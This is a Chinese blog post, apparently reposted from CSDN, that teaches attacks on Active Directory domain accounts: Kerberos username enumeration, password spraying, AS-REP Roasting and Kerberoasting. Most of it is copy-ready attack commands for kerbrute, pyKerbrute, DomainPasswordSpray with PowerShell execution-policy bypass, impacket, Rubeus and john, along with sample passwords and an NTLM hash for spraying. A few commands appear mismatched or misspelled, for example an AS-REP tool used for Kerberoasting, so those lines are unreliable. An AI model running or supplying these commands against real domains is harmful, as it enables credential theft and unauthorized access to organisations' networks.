CSDN 自动博客文章迁移
域账户的几种攻击方式
0x01 Pre-Authentication
适用于在域外的时候,对域内的用户名进行枚举。利用Kerberos pre-auth的特性,在AS-REP中:
如果进行请求的用户存在,error-code为:ERR-PREAUTH-REQUIRED
如果请求的用户不存在,error-code为:ERR-PRINCIPAL-UNKNOWN
可利用工具:
https://github.com/ropnop/kerbrute
https://github.com/3gstudent/pyKerbrute
随后获取到有效域内用户名即可利用密码喷射拿到有效凭据开始下一步。
当然密码喷射要查看对应域的锁定策略
0x02 AS-REP Roasting
如果用户开启了“不使用Kerberos预认证”,在AS-REP阶段,可以在任意一台能访问DC的机器(域内域外均可)上请求该用户TGT,此时DC不会作校验就将TGT和Session Key返回,则可对Session Key(经过用户的RC4-HMAC密码加密)进行脱机暴力破解,进而获得hash以及密码明文。
默认情况下,这个是禁用的
遍历开启此属性
开启此属性需要有GenericWrite权限
使用LDAP查询满足条件(userAccountControl:1.2.840.113556.1.4.803:=4194304)的用户。
PowerView:
Import-Module .PowerView.ps1
Get-DomainUser -PreauthNotRequired -Verbose
Get-ADUser -Filter 'useraccountcontrol -band 4194304' -Properties useraccountcontrol | Format-Table name
请求票据
Import-Module .ASREPRoast.ps1
Get-ASREPHash -UserName testuser2 -Domain holy.testA | Out-File -Encoding ASCII hash.txt
impacket
python3 GetNPUsers.py pig.com/duck:test123 -dc-ip 10.0.19.0 -usersfile user.txt -format john -outputfile hash
然后可以用 HashCat去 破解
0x03 kerberoasting
由于Kerberos的工作原理,任何用户都可以请求在域内的用户或计算机帐户中具有已注册SPN(HOST或任意)的任何服务的TGS。注意只是请求此票证,而并不会授予对请求用户的访问权限,因为服务会最终确定是否应授予用户访问资源的权限。
由于这一点,并且因为请求SPN实例的TGS的一部分是用服务帐户的明文密码的NTLM哈希进行了加密,所以任何用户都可以请求这些TGS票证,然后离线破解服务帐户的明文密码,而不用担心帐户被锁定。
请求TGS
可以使用GetUserSPNs或是mimikatz请求TGS,并导出利用hashcat等进行离线破解。
如impacket内工具:
python3 GetUserSPNs.py pig.com/duck:test123 -dc-ip 10.0.19.0
想要理解原理可以抓包详细查看,所以,AS-REP Roasting、kerberoasting、Pre-Authentication 的区别是什么?
kerbrute
bruteuser – 从单词列表中暴力破解单个用户的密码
bruteforce – 从文件或标准输入中读取用户名:密码组合并测试它们
passwordspray – 针对用户列表测试单个密码
userenum – 通过 Kerberos 枚举有效的域用户名
https://github.com/ropnop/kerbrute
net accounts /domain 看看能不能喷洒,查看密码策略
然后net user krbtgt /domain 看看这个账号上次修改密码是什么时间
# 枚举域用户
./kerbrute.exe userenum --dc 192.168.11.11 --d attack.cn usernames.txt
# 爆破单用户密码
./kerbrute.exe bruteuser --dc 192.168.11.11 -d attack.cn passwords.txt administrator
# 密码喷射(一个密码和不同用户名的组合去KDC枚举)
./kerbrute.exe passwordspray --dc 192.168.11.11 -d attack.cn usernames.txt '1qaz@WSX'
# bruteforce
cat combos.lst | ./kerbrute -d attack.cn bruteforce -
![](https://i-blog.csdnimg.cn/blog_migrate/b603e76b2ffcab0ebcd860ff1e8c9d46.png)
![](https://i-blog.csdnimg.cn/blog_migrate/6b7e6c4e4942d5c98d21e785fd3e617d.png)
pyKerbrute
# 枚举用户 <mode>: tcp or udp
EnumADUser.py <domainControlerAddr> <domainName> <mode>
python2 EnumADUser.py 192.168.11.11 attack.cn usernames.txt tcp
python2 EnumADUser.py 192.168.11.11 attack.cn usernames.txt udp
# 密码喷射 支持hash <mode>: tcp or udp
ADPwdSpray.py <domainControlerAddr> <domainName> <file> <passwordtype> <data> <mode>
# 针对明文进行喷洒
python2 ADPwdSpray.py 192.168.11.11 attack.cn usernames.txt clearpassword 1qaz@WSX tcp
# 针对哈希进行喷洒
python2 ADPwdSpray.py 192.168.11.11 attack.cn usernames.txt ntlmhash e00045bd566a1b74386f5c1e3612921b udp
![](https://i-blog.csdnimg.cn/blog_migrate/924a04815bb05c4f42a9ad1777a464be.png)
DomainPasswordSpray.ps1
环境:powershell2.0(经测试在powershell4.0的版本中该脚本不能执行)
地址:https://github.com/dafthack/DomainPasswordSpray
该脚本利用LDAP从域中导出用户列表,然后扣掉被锁定的用户,再用固定密码进行密码喷洒
(1)自动从域中导出用户列表
powershell -exec bypass
Import-Module .\DomainPasswordSpray.ps1
Invoke-DomainPasswordSpray -Password 密码
(2)指定用户列表,指定单个密码进行爆破
Invoke-DomainPasswordSpray -Userlist users.txt -Domain attack.cn -password 1qaz@WSX
(3)指定用户、密码列表进行爆破,输出到特定文件中
依次使用密码对账号进行匹配,简称喷洒
Invoke-DomainPasswordSpray -Userlist users.txt -Domain attack.cn -PasswordList pass.txt
AS-REP Roasting收割门票信息
在枚举完有效用户后下一步我们就开始精挑细选其中的账号使用AS-REP Roasting攻击获取具体的门票上的密码信息。AS-REP Roasting,是由于某些域内用户可能开启了不使用Kerberos预验证功能。
可以这样理解,你和老王长的很像,某天你去他公司,楼下保安见你长得像老王,外加平时老王跟保安的关系很不错。看了你一眼不会把你当成陌生人拦下来问各种问题验证是否为来客。此时你可以去到老王的办公座位随意找信息,说不定能找到一些密码信息出来。
这里会用到kali下的/usr/share/doc/python3-impacket/examples/GetNPUsers.py工具去收割门票上的密码信息。通过不断替换用户,最后admin2和user3启用了不使用kerberos预验证功能。顺便获得他们的hash,可解密。
命令:
# 枚举所有域用户(或者指定)Roasting AS-REPs
Rubeus.exe asreproast
python3 GetNPUsers.py attack.cn/zhang -no-pass
python3 GetNPUsers.py attack.cn/zhang -no-pass -dc-ip 192.168.11.11
python3 impacket/example/GetUserSPNs.py attack.cn/ -no-pass -dc-ip 192.168.11.11 -userfile users.txt /fomat:hashcat
![](https://i-blog.csdnimg.cn/blog_migrate/a76e5e2d0148665499b59e4c7b41c806.png)
最后用john搭载一个密码本解密成功,成功得到zhang的账号密码,密码本字典链接
john --wordlist=pass.txt 1.txt
![](https://i-blog.csdnimg.cn/blog_migrate/e661ce624a9462acd930eff8ec120631.png)
Kerberoasting二次收割门票信息
Rubeus
.\Rubeus.exe kerberoast
impacket
python3 impacket/example/GetNPUsers.py attack.cn/attackadmin:123.com -dc-ip 192.168.11.11
![](https://i-blog.csdnimg.cn/blog_migrate/1275800c03cfc520e1ffe10e277c60dd.png)
![](https://i-blog.csdnimg.cn/blog_migrate/7d8fdaaa9e50567bff22f96ccc1bc4a4.png)
转载请注明:Adminxe's Blog » 域账户的几种攻击方式